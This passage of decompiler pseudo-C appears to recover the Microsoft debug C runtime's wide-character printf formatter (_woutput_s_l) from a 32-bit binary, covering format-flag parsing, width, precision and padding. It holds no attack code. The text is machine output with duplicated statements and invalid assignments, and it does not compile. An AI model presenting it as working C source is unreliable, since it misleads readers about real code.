																				 *(_t674 - 0x20) = 0;
																			}
																			while(1) {
																				L214:
																				 *(_t674 - 0x454) =  *((intOrPtr*)( *((intOrPtr*)(_t674 + 0xc))));
																				_t580 =  *(_t674 - 0x454) & 0x0000ffff;
																				 *((intOrPtr*)(_t674 + 0xc)) =  *((intOrPtr*)(_t674 + 0xc)) + 2;
																				if(( *(_t674 - 0x454) & 0x0000ffff) == 0 ||  *(_t674 - 0x44c) < 0) {
																					break;
																				} else {
																					if(( *(_t674 - 0x454) & 0x0000ffff) < 0x20 || ( *(_t674 - 0x454) & 0x0000ffff) > 0x78) {
																						 *(_t674 - 0x4d8) = 0;
																					} else {
																						 *(_t674 - 0x4d8) =  *(( *(_t674 - 0x454) & 0x0000ffff) +  &M00407DE8) & 0xf;
																					}
																				}
																				L7:
																				 *(_t674 - 0x450) =  *(_t674 - 0x4d8);
																				_t644 =  *(_t674 - 0x450) * 9;
																				_t511 =  *(_t674 - 0x45c);
																				_t588 = ( *(_t644 + _t511 + 0x407e08) & 0x000000ff) >> 4;
																				 *(_t674 - 0x45c) = ( *(_t644 + _t511 + 0x407e08) & 0x000000ff) >> 4;
																				if( *(_t674 - 0x45c) != 8) {
																					L16:
																					 *(_t674 - 0x4e0) =  *(_t674 - 0x45c);
																					if( *(_t674 - 0x4e0) > 7) {
																						continue;
																					}
																					L17:
																					switch( *((intOrPtr*)( *(_t674 - 0x4e0) * 4 +  &M0043C944))) {
																						case 0:
																							L18:
																							 *(_t674 - 0xc) = 1;
																							E0043CA50( *(_t674 - 0x454) & 0x0000ffff,  *((intOrPtr*)(_t674 + 8)), _t674 - 0x44c);
																							_t677 = _t677 + 0xc;
																							goto L214;
																						case 1:
																							L19:
																							 *(__ebp - 0x2c) = 0;
																							__ecx =  *(__ebp - 0x2c);
																							 *(__ebp - 0x28) = __ecx;
																							__edx =  *(__ebp - 0x28);
																							 *(__ebp - 0x18) =  *(__ebp - 0x28);
																							__eax =  *(__ebp - 0x18);
																							 *(__ebp - 0x1c) =  *(__ebp - 0x18);
																							 *(__ebp - 0x10) = 0;
																							 *(__ebp - 0x30) = 0xffffffff;
																							 *(__ebp - 0xc) = 0;
																							goto L214;
																						case 2:
																							L20:
																							__ecx =  *(__ebp - 0x454) & 0x0000ffff;
																							 *(__ebp - 0x4e4) = __ecx;
																							 *(__ebp - 0x4e4) =  *(__ebp - 0x4e4) - 0x20;
																							 *(__ebp - 0x4e4) =  *(__ebp - 0x4e4) - 0x20;
																							if( *(__ebp - 0x4e4) > 0x10) {
																								goto L27;
																							}
																							L21:
																							_t59 =  *(__ebp - 0x4e4) + 0x43c97c; // 0x498d04
																							__ecx =  *_t59 & 0x000000ff;
																							switch( *((intOrPtr*)(__ecx * 4 +  &M0043C964))) {
																								case 0:
																									goto L24;
																								case 1:
																									goto L25;
																								case 2:
																									goto L23;
																								case 3:
																									goto L22;
																								case 4:
																									goto L26;
																								case 5:
																									goto L27;
																							}
																						case 3:
																							L28:
																							__ecx =  *(__ebp - 0x454) & 0x0000ffff;
																							if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
																								 *(__ebp - 0x18) =  *(__ebp - 0x18) * 0xa;
																								_t83 = ( *(__ebp - 0x454) & 0x0000ffff) - 0x30; // -48
																								__ecx =  *(__ebp - 0x18) * 0xa + _t83;
																								 *(__ebp - 0x18) = __ecx;
																							} else {
																								__edx = __ebp + 0x14;
																								 *(__ebp - 0x18) = E004284A0(__ebp + 0x14);
																								if( *(__ebp - 0x18) < 0) {
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																									__ecx =  *(__ebp - 0x18);
																									__ecx =  ~( *(__ebp - 0x18));
																									 *(__ebp - 0x18) = __ecx;
																								}
																							}
																							goto L214;
																						case 4:
																							L34:
																							 *(__ebp - 0x30) = 0;
																							goto L214;
																						case 5:
																							L35:
																							__edx =  *(__ebp - 0x454) & 0x0000ffff;
																							if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
																								__ecx =  *(__ebp - 0x30);
																								__ecx =  *(__ebp - 0x30) * 0xa;
																								_t94 = ( *(__ebp - 0x454) & 0x0000ffff) - 0x30; // -48
																								__eax = __ecx + _t94;
																								 *(__ebp - 0x30) = __ecx + _t94;
																							} else {
																								__eax = __ebp + 0x14;
																								 *(__ebp - 0x30) = E004284A0(__ebp + 0x14);
																								if( *(__ebp - 0x30) < 0) {
																									 *(__ebp - 0x30) = 0xffffffff;
																								}
																							}
																							goto L214;
																						case 6:
																							L41:
																							__ecx =  *(__ebp - 0x454) & 0x0000ffff;
																							 *(__ebp - 0x4e8) = __ecx;
																							 *(__ebp - 0x4e8) =  *(__ebp - 0x4e8) - 0x49;
																							 *(__ebp - 0x4e8) =  *(__ebp - 0x4e8) - 0x49;
																							if( *(__ebp - 0x4e8) > 0x2e) {
																								L64:
																								goto L214;
																							}
																							L42:
																							_t102 =  *(__ebp - 0x4e8) + 0x43c9a4; // 0xc1b19003
																							__ecx =  *_t102 & 0x000000ff;
																							switch( *((intOrPtr*)(__ecx * 4 +  &M0043C990))) {
																								case 0:
																									L47:
																									__ecx =  *(__ebp + 0xc);
																									__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																									if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x36) {
																										L50:
																										__ecx =  *(__ebp + 0xc);
																										__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																										if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x33) {
																											L53:
																											__ecx =  *(__ebp + 0xc);
																											__edx =  *__ecx & 0x0000ffff;
																											if(( *__ecx & 0x0000ffff) == 0x64) {
																												L59:
																												L61:
																												goto L64;
																											}
																											L54:
																											__eax =  *(__ebp + 0xc);
																											__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																											if(__ecx == 0x69) {
																												goto L59;
																											}
																											L55:
																											__edx =  *(__ebp + 0xc);
																											__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																											if(( *( *(__ebp + 0xc)) & 0x0000ffff) == 0x6f) {
																												goto L59;
																											}
																											L56:
																											__ecx =  *(__ebp + 0xc);
																											__edx =  *__ecx & 0x0000ffff;
																											if(( *__ecx & 0x0000ffff) == 0x75) {
																												goto L59;
																											}
																											L57:
																											__eax =  *(__ebp + 0xc);
																											__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																											if(__ecx == 0x78) {
																												goto L59;
																											}
																											L58:
																											__edx =  *(__ebp + 0xc);
																											__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																											if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x58) {
																												 *(__ebp - 0x45c) = 0;
																												goto L18;
																											}
																											goto L59;
																										}
																										L51:
																										__eax =  *(__ebp + 0xc);
																										__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
																										if(__ecx != 0x32) {
																											goto L53;
																										} else {
																											 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																											 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																											 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
																											 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
																											goto L61;
																										}
																									}
																									L48:
																									__eax =  *(__ebp + 0xc);
																									__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
																									if(__ecx != 0x34) {
																										goto L50;
																									} else {
																										 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																										 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
																										goto L61;
																									}
																								case 1:
																									L62:
																									__ecx =  *(__ebp - 0x10);
																									__ecx =  *(__ebp - 0x10) | 0x00000020;
																									 *(__ebp - 0x10) = __ecx;
																									goto L64;
																								case 2:
																									L43:
																									__edx =  *(__ebp + 0xc);
																									__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																									if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x6c) {
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000010;
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000010;
																									} else {
																										__ecx =  *(__ebp + 0xc);
																										__ecx =  *(__ebp + 0xc) + 2;
																										 *(__ebp + 0xc) = __ecx;
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																									}
																									goto L64;
																								case 3:
																									L63:
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																									goto L64;
																								case 4:
																									goto L64;
																							}
																						case 7:
																							goto L65;
																						case 8:
																							L24:
																							__ecx =  *(__ebp - 0x10);
																							__ecx =  *(__ebp - 0x10) | 0x00000002;
																							 *(__ebp - 0x10) = __ecx;
																							goto L27;
																						case 9:
																							L25:
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																							goto L27;
																						case 0xa:
																							L23:
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000001;
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000001;
																							goto L27;
																						case 0xb:
																							L22:
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																							goto L27;
																						case 0xc:
																							L26:
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000008;
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000008;
																							goto L27;
																						case 0xd:
																							L27:
																							goto L214;
																					}
																				} else {
																					_t642 = 0;
																					if(0 == 0) {
																						 *(_t674 - 0x4dc) = 0;
																					} else {
																						 *(_t674 - 0x4dc) = 1;
																					}
																					 *(_t674 - 0x46c) =  *(_t674 - 0x4dc);
																					if( *(_t674 - 0x46c) == 0) {
																						_push(L"(\"Incorrect format specifier\", 0)");
																						_push(0);
																						_push(0x460);
																						_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																						_push(2);
																						_t519 = L0041E350();
																						_t677 = _t677 + 0x14;
																						if(_t519 == 1) {
																							asm("int3");
																						}
																					}
																					L14:
																					if( *(_t674 - 0x46c) != 0) {
																						goto L16;
																					} else {
																						 *((intOrPtr*)(L00422E40(_t588))) = 0x16;
																						E00422BD0(_t567, _t588, _t672, _t673, L"(\"Incorrect format specifier\", 0)", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x460, 0);
																						 *(_t674 - 0x4c8) = 0xffffffff;
																						E0041ADF0(_t674 - 0x40);
																						_t504 =  *(_t674 - 0x4c8);
																						L225:
																						return E0042BDF0(_t504, _t567,  *(_t674 - 0x48) ^ _t674, _t642, _t672, _t673);
																					}
																				}
																			}
																			L215:
																			if( *(_t674 - 0x45c) == 0 ||  *(_t674 - 0x45c) == 7) {
																				 *(_t674 - 0x4f8) = 1;
																			} else {
																				 *(_t674 - 0x4f8) = 0;
																			}
																			_t642 =  *(_t674 - 0x4f8);
																			 *(_t674 - 0x4bc) =  *(_t674 - 0x4f8);
																			if( *(_t674 - 0x4bc) == 0) {
																				_push(L"((state == ST_NORMAL) || (state == ST_TYPE))");
																				_push(0);
																				_push(0x8f5);
																				_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																				_push(2);
																				_t509 = L0041E350();
																				_t677 = _t677 + 0x14;
																				if(_t509 == 1) {
																					asm("int3");
																				}
																			}
																			if( *(_t674 - 0x4bc) != 0) {
																				 *(_t674 - 0x4d4) =  *(_t674 - 0x44c);
																				E0041ADF0(_t674 - 0x40);
																				_t504 =  *(_t674 - 0x4d4);
																			} else {
																				 *((intOrPtr*)(L00422E40(_t580))) = 0x16;
																				E00422BD0(_t567, _t580, _t672, _t673, L"((state == ST_NORMAL) || (state == ST_TYPE))", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x8f5, 0);
																				 *(_t674 - 0x4d0) = 0xffffffff;
																				E0041ADF0(_t674 - 0x40);
																				_t504 =  *(_t674 - 0x4d0);
																			}
																			goto L225;
																		}
																		L188:
																		if(( *(_t674 - 0x10) & 0x00000040) != 0) {
																			if(( *(_t674 - 0x10) & 0x00000100) == 0) {
																				if(( *(_t674 - 0x10) & 0x00000001) == 0) {
																					if(( *(_t674 - 0x10) & 0x00000002) != 0) {
																						 *((short*)(_t674 - 0x14)) = 0x20;
																						 *(_t674 - 0x1c) = 1;
																					}
																				} else {
																					 *((short*)(_t674 - 0x14)) = 0x2b;
																					 *(_t674 - 0x1c) = 1;
																				}
																			} else {
																				 *((short*)(_t674 - 0x14)) = 0x2d;
																				 *(_t674 - 0x1c) = 1;
																			}
																		}
																		 *((intOrPtr*)(_t674 - 0x4ac)) =  *((intOrPtr*)(_t674 - 0x18)) -  *((intOrPtr*)(_t674 - 0x24)) -  *(_t674 - 0x1c);
																		if(( *(_t674 - 0x10) & 0x0000000c) == 0) {
																			E0043CAB0(0x20,  *((intOrPtr*)(_t674 - 0x4ac)),  *((intOrPtr*)(_t674 + 8)), _t674 - 0x44c);
																			_t677 = _t677 + 0x10;
																		}
																		E0043CAF0( *(_t674 - 0x1c), _t674 - 0x14,  *(_t674 - 0x1c),  *((intOrPtr*)(_t674 + 8)), _t674 - 0x44c);
																		_t677 = _t677 + 0x10;
																		if(( *(_t674 - 0x10) & 0x00000008) != 0 && ( *(_t674 - 0x10) & 0x00000004) == 0) {
																			E0043CAB0(0x30,  *((intOrPtr*)(_t674 - 0x4ac)),  *((intOrPtr*)(_t674 + 8)), _t674 - 0x44c);
																			_t677 = _t677 + 0x10;
																		}
																		if( *(_t674 - 0xc) != 0 ||  *((intOrPtr*)(_t674 - 0x24)) <= 0) {
																			L208:
																			E0043CAF0( *((intOrPtr*)(_t674 - 0x24)),  *((intOrPtr*)(_t674 - 4)),  *((intOrPtr*)(_t674 - 0x24)),  *((intOrPtr*)(_t674 + 8)), _t674 - 0x44c);
																			_t677 = _t677 + 0x10;
																			goto L209;
																		} else {
																			L202:
																			 *((intOrPtr*)(_t674 - 0x4b0)) =  *((intOrPtr*)(_t674 - 4));
																			 *((intOrPtr*)(_t674 - 0x4b4)) =  *((intOrPtr*)(_t674 - 0x24));
																			while(1) {
																				L203:
																				 *((intOrPtr*)(_t674 - 0x4b4)) =  *((intOrPtr*)(_t674 - 0x4b4)) - 1;
																				if( *((intOrPtr*)(_t674 - 0x4b4)) <= 0) {
																					break;
																				}
																				L204:
																				_t537 = E0041AE20(_t674 - 0x40);
																				_t541 = E0043B550(_t674 - 0x458,  *((intOrPtr*)(_t674 - 0x4b0)),  *((intOrPtr*)( *((intOrPtr*)(E0041AE20(_t674 - 0x40))) + 0xac)), _t537);
																				_t677 = _t677 + 0x10;
																				 *((intOrPtr*)(_t674 - 0x4b8)) = _t541;
																				if( *((intOrPtr*)(_t674 - 0x4b8)) > 0) {
																					L206:
																					E0043CA50( *(_t674 - 0x458) & 0x0000ffff,  *((intOrPtr*)(_t674 + 8)), _t674 - 0x44c);
																					_t677 = _t677 + 0xc;
																					 *((intOrPtr*)(_t674 - 0x4b0)) =  *((intOrPtr*)(_t674 - 0x4b0)) +  *((intOrPtr*)(_t674 - 0x4b8));
																					continue;
																				}
																				L205:
																				 *(_t674 - 0x44c) = 0xffffffff;
																				break;
																			}
																			L207:
																			L209:
																			if( *(_t674 - 0x44c) >= 0 && ( *(_t674 - 0x10) & 0x00000004) != 0) {
																				E0043CAB0(0x20,  *((intOrPtr*)(_t674 - 0x4ac)),  *((intOrPtr*)(_t674 + 8)), _t674 - 0x44c);
																				_t677 = _t677 + 0x10;
																			}
																			goto L212;
																		}
																		L65:
																		__eax =  *(__ebp - 0x454) & 0x0000ffff;
																		 *(__ebp - 0x4ec) =  *(__ebp - 0x454) & 0x0000ffff;
																		__ecx =  *(__ebp - 0x4ec);
																		__ecx =  *(__ebp - 0x4ec) - 0x41;
																		 *(__ebp - 0x4ec) = __ecx;
																	} while ( *(__ebp - 0x4ec) > 0x37);
																	__edx =  *(__ebp - 0x4ec);
																	_t143 = __edx + 0x43ca10; // 0xcccccc0d
																	__eax =  *_t143 & 0x000000ff;
																	switch( *((intOrPtr*)(( *_t143 & 0x000000ff) * 4 +  &M0043C9D4))) {
																		case 0:
																			L120:
																			 *(__ebp - 0x2c) = 1;
																			 *(__ebp - 0x454) & 0x0000ffff = ( *(__ebp - 0x454) & 0x0000ffff) + 0x20;
																			 *(__ebp - 0x454) = __ax;
																			goto L121;
																		case 1:
																			L67:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																			if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																			}
																			goto L69;
																		case 2:
																			L82:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																			if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																			}
																			goto L84;
																		case 3:
																			L143:
																			 *((intOrPtr*)(__ebp - 0x460)) = 7;
																			goto L145;
																		case 4:
																			L75:
																			__eax = __ebp + 0x14;
																			 *(__ebp - 0x474) = E004284A0(__ebp + 0x14);
																			if( *(__ebp - 0x474) == 0) {
																				L77:
																				__edx =  *0x440f80; // 0x404448
																				 *(__ebp - 4) = __edx;
																				__eax =  *(__ebp - 4);
																				 *(__ebp - 0x24) = E0041DDF0( *(__ebp - 4));
																				L81:
																				goto L187;
																			}
																			L76:
																			__ecx =  *(__ebp - 0x474);
																			if( *((intOrPtr*)( *(__ebp - 0x474) + 4)) != 0) {
																				L78:
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
																				if(( *(__ebp - 0x10) & 0x00000800) == 0) {
																					 *(__ebp - 0xc) = 0;
																					__edx =  *(__ebp - 0x474);
																					__eax =  *(__edx + 4);
																					 *(__ebp - 4) =  *(__edx + 4);
																					__ecx =  *(__ebp - 0x474);
																					__edx =  *__ecx;
																					 *(__ebp - 0x24) =  *__ecx;
																				} else {
																					__edx =  *(__ebp - 0x474);
																					__eax =  *(__edx + 4);
																					 *(__ebp - 4) =  *(__edx + 4);
																					__ecx =  *(__ebp - 0x474);
																					__eax =  *__ecx;
																					asm("cdq");
																					 *__ecx - __edx =  *__ecx - __edx >> 1;
																					 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
																					 *(__ebp - 0xc) = 1;
																				}
																				goto L81;
																			}
																			goto L77;
																		case 5:
																			L121:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			__edx = __ebp - 0x448;
																			 *(__ebp - 4) = __ebp - 0x448;
																			 *(__ebp - 0x44) = 0x200;
																			if( *(__ebp - 0x30) >= 0) {
																				L123:
																				if( *(__ebp - 0x30) != 0) {
																					L126:
																					if( *(__ebp - 0x30) > 0x200) {
																						 *(__ebp - 0x30) = 0x200;
																					}
																					L128:
																					if( *(__ebp - 0x30) > 0xa3) {
																						__ecx =  *(__ebp - 0x30);
																						__ecx =  *(__ebp - 0x30) + 0x15d;
																						 *(__ebp - 0x20) = L0041B890( *(__ebp - 0x30) + 0x15d,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																						if( *(__ebp - 0x20) == 0) {
																							 *(__ebp - 0x30) = 0xa3;
																						} else {
																							__edx =  *(__ebp - 0x20);
																							 *(__ebp - 4) =  *(__ebp - 0x20);
																							 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																							 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																						}
																					}
																					 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																					 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																					__edx =  *(__ebp + 0x14);
																					__eax =  *(__edx - 8);
																					__ecx =  *(__edx - 4);
																					 *(__ebp - 0x490) =  *(__edx - 8);
																					 *(__ebp - 0x48c) =  *(__edx - 4);
																					__ecx = __ebp - 0x40;
																					_push(E0041AE20(__ebp - 0x40));
																					__edx =  *(__ebp - 0x2c);
																					_push( *(__ebp - 0x2c));
																					__eax =  *(__ebp - 0x30);
																					_push( *(__ebp - 0x30));
																					__ecx =  *(__ebp - 0x454);
																					_push( *(__ebp - 0x454));
																					__edx =  *(__ebp - 0x44);
																					_push( *(__ebp - 0x44));
																					__eax =  *(__ebp - 4);
																					_push( *(__ebp - 4));
																					__ecx = __ebp - 0x490;
																					_push(__ebp - 0x490);
																					__edx =  *0x440374; // 0x7e8e98dc
																					E00424690(__edx) =  *__eax();
																					__esp = __esp + 0x1c;
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																					if(( *(__ebp - 0x10) & 0x00000080) != 0 &&  *(__ebp - 0x30) == 0) {
																						__ecx = __ebp - 0x40;
																						_push(E0041AE20(__ebp - 0x40));
																						__ecx =  *(__ebp - 4);
																						_push( *(__ebp - 4));
																						__edx =  *0x440380; // 0x8a8e9826
																						E00424690(__edx) =  *__eax();
																						__esp = __esp + 8;
																					}
																					__eax =  *(__ebp - 0x454) & 0x0000ffff;
																					if(( *(__ebp - 0x454) & 0x0000ffff) == 0x67) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																						if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																							__ecx = __ebp - 0x40;
																							_push(E0041AE20(__ebp - 0x40));
																							__edx =  *(__ebp - 4);
																							_push( *(__ebp - 4));
																							__eax =  *0x44037c; // 0xc28e9826
																							__eax =  *__eax();
																							__esp = __esp + 8;
																						}
																					}
																					__ecx =  *(__ebp - 4);
																					__edx =  *( *(__ebp - 4));
																					if( *( *(__ebp - 4)) == 0x2d) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																						 *(__ebp - 4) =  *(__ebp - 4) + 1;
																						 *(__ebp - 4) =  *(__ebp - 4) + 1;
																					}
																					__edx =  *(__ebp - 4);
																					 *(__ebp - 0x24) = E0041DDF0( *(__ebp - 4));
																					goto L187;
																				}
																				L124:
																				__eax =  *(__ebp - 0x454) & 0x0000ffff;
																				if(( *(__ebp - 0x454) & 0x0000ffff) != 0x67) {
																					goto L126;
																				}
																				L125:
																				 *(__ebp - 0x30) = 1;
																				goto L128;
																			}
																			L122:
																			 *(__ebp - 0x30) = 6;
																			goto L128;
																		case 6:
																			L69:
																			 *(__ebp - 0xc) = 1;
																			__ebp + 0x14 = E004284A0(__ebp + 0x14);
																			 *(__ebp - 0x458) = __ax;
																			__ecx =  *(__ebp - 0x10);
																			__ecx =  *(__ebp - 0x10) & 0x00000020;
																			if(__ecx == 0) {
																				 *(__ebp - 0x448) =  *(__ebp - 0x458);
																			} else {
																				 *(__ebp - 0x458) & 0x0000ffff =  *(__ebp - 0x458) & 0xff;
																				 *(__ebp - 0x470) = __dl;
																				 *((char*)(__ebp - 0x46f)) = 0;
																				__ecx = __ebp - 0x40;
																				__eax = E0041AE20(__ebp - 0x40);
																				__ecx = __ebp - 0x40;
																				E0041AE20(__ebp - 0x40) =  *__eax;
																				__ecx =  *(__ebp - 0x448 + 0xac);
																				__edx = __ebp - 0x470;
																				__eax = __ebp - 0x448;
																				if(E0043B550(__ebp - 0x448, __ebp - 0x470,  *(__ebp - 0x448 + 0xac), __ebp - 0x448) < 0) {
																					 *(__ebp - 0x28) = 1;
																				}
																			}
																			__edx = __ebp - 0x448;
																			 *(__ebp - 4) = __ebp - 0x448;
																			 *(__ebp - 0x24) = 1;
																			goto L187;
																		case 7:
																			goto L0;
																		case 8:
																			L106:
																			__eax = __ebp + 0x14;
																			 *(__ebp - 0x484) = E004284A0(__ebp + 0x14);
																			if(E00434040() != 0) {
																				L116:
																				__ecx =  *(__ebp - 0x10);
																				__ecx =  *(__ebp - 0x10) & 0x00000020;
																				if(__ecx == 0) {
																					__ecx =  *(__ebp - 0x484);
																					__edx =  *(__ebp - 0x44c);
																					 *__ecx =  *(__ebp - 0x44c);
																				} else {
																					__edx =  *(__ebp - 0x484);
																					__ax =  *(__ebp - 0x44c);
																					 *( *(__ebp - 0x484)) = __ax;
																				}
																				 *(__ebp - 0x28) = 1;
																				goto L187;
																			}
																			L107:
																			__ecx = 0;
																			if(0 == 0) {
																				 *(__ebp - 0x4f4) = 0;
																			} else {
																				 *(__ebp - 0x4f4) = 1;
																			}
																			__edx =  *(__ebp - 0x4f4);
																			 *(__ebp - 0x488) =  *(__ebp - 0x4f4);
																			if( *(__ebp - 0x488) == 0) {
																				_push(L"(\"\'n\' format specifier disabled\", 0)");
																				_push(0);
																				_push(0x695);
																				_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																				_push(2);
																				__eax = L0041E350();
																				__esp = __esp + 0x14;
																				if(__eax == 1) {
																					asm("int3");
																				}
																			}
																			if( *(__ebp - 0x488) != 0) {
																				L115:
																				goto L187;
																			} else {
																				L114:
																				 *((intOrPtr*)(L00422E40(__ecx))) = 0x16;
																				__eax = E00422BD0(__ebx, __ecx, __edi, __esi, L"(\"\'n\' format specifier disabled\", 0)", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x695, 0);
																				 *(__ebp - 0x4cc) = 0xffffffff;
																				__ecx = __ebp - 0x40;
																				__eax = E0041ADF0(__ecx);
																				__eax =  *(__ebp - 0x4cc);
																				goto L225;
																			}
																		case 9:
																			L148:
																			 *(__ebp - 8) = 8;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																			if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000200;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000200;
																			}
																			goto L150;
																		case 0xa:
																			L142:
																			 *(__ebp - 0x30) = 8;
																			goto L143;
																		case 0xb:
																			L84:
																			if( *(__ebp - 0x30) != 0xffffffff) {
																				__edx =  *(__ebp - 0x30);
																				 *(__ebp - 0x4f0) =  *(__ebp - 0x30);
																			} else {
																				 *(__ebp - 0x4f0) = 0x7fffffff;
																			}
																			__eax =  *(__ebp - 0x4f0);
																			 *(__ebp - 0x47c) =  *(__ebp - 0x4f0);
																			__ecx = __ebp + 0x14;
																			 *(__ebp - 4) = E004284A0(__ebp + 0x14);
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																			if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																				L98:
																				if( *(__ebp - 4) == 0) {
																					__ecx =  *0x440f84; // 0x404438
																					 *(__ebp - 4) = __ecx;
																				}
																				 *(__ebp - 0xc) = 1;
																				__edx =  *(__ebp - 4);
																				 *(__ebp - 0x480) =  *(__ebp - 4);
																				while(1) {
																					L101:
																					__eax =  *(__ebp - 0x47c);
																					__ecx =  *(__ebp - 0x47c);
																					__ecx =  *(__ebp - 0x47c) - 1;
																					 *(__ebp - 0x47c) = __ecx;
																					if( *(__ebp - 0x47c) == 0) {
																						break;
																					}
																					L102:
																					__edx =  *(__ebp - 0x480);
																					__eax =  *( *(__ebp - 0x480)) & 0x0000ffff;
																					if(( *( *(__ebp - 0x480)) & 0x0000ffff) == 0) {
																						break;
																					}
																					L103:
																					 *(__ebp - 0x480) =  *(__ebp - 0x480) + 2;
																					 *(__ebp - 0x480) =  *(__ebp - 0x480) + 2;
																				}
																				L104:
																				 *(__ebp - 0x480) =  *(__ebp - 0x480) -  *(__ebp - 4);
																				__edx =  *(__ebp - 0x480) -  *(__ebp - 4) >> 1;
																				 *(__ebp - 0x24) =  *(__ebp - 0x480) -  *(__ebp - 4) >> 1;
																				goto L105;
																			} else {
																				L88:
																				if( *(__ebp - 4) == 0) {
																					__eax =  *0x440f80; // 0x404448
																					 *(__ebp - 4) = __eax;
																				}
																				__ecx =  *(__ebp - 4);
																				 *(__ebp - 0x478) = __ecx;
																				 *(__ebp - 0x24) = 0;
																				while(1) {
																					L92:
																					__eax =  *(__ebp - 0x24);
																					if( *(__ebp - 0x24) >=  *(__ebp - 0x47c)) {
																						break;
																					}
																					L93:
																					__ecx =  *(__ebp - 0x478);
																					__edx =  *__ecx;
																					if( *__ecx == 0) {
																						break;
																					}
																					L94:
																					__ecx = __ebp - 0x40;
																					E0041AE20(__ebp - 0x40) =  *(__ebp - 0x478);
																					__ecx =  *( *(__ebp - 0x478)) & 0x000000ff;
																					if(E00431350( *( *(__ebp - 0x478)) & 0x000000ff,  *(__ebp - 0x478)) != 0) {
																						 *(__ebp - 0x478) =  *(__ebp - 0x478) + 1;
																						 *(__ebp - 0x478) =  *(__ebp - 0x478) + 1;
																					}
																					 *(__ebp - 0x478) =  *(__ebp - 0x478) + 1;
																					 *(__ebp - 0x478) =  *(__ebp - 0x478) + 1;
																					 *(__ebp - 0x24) =  *(__ebp - 0x24) + 1;
																					 *(__ebp - 0x24) =  *(__ebp - 0x24) + 1;
																				}
																				L97:
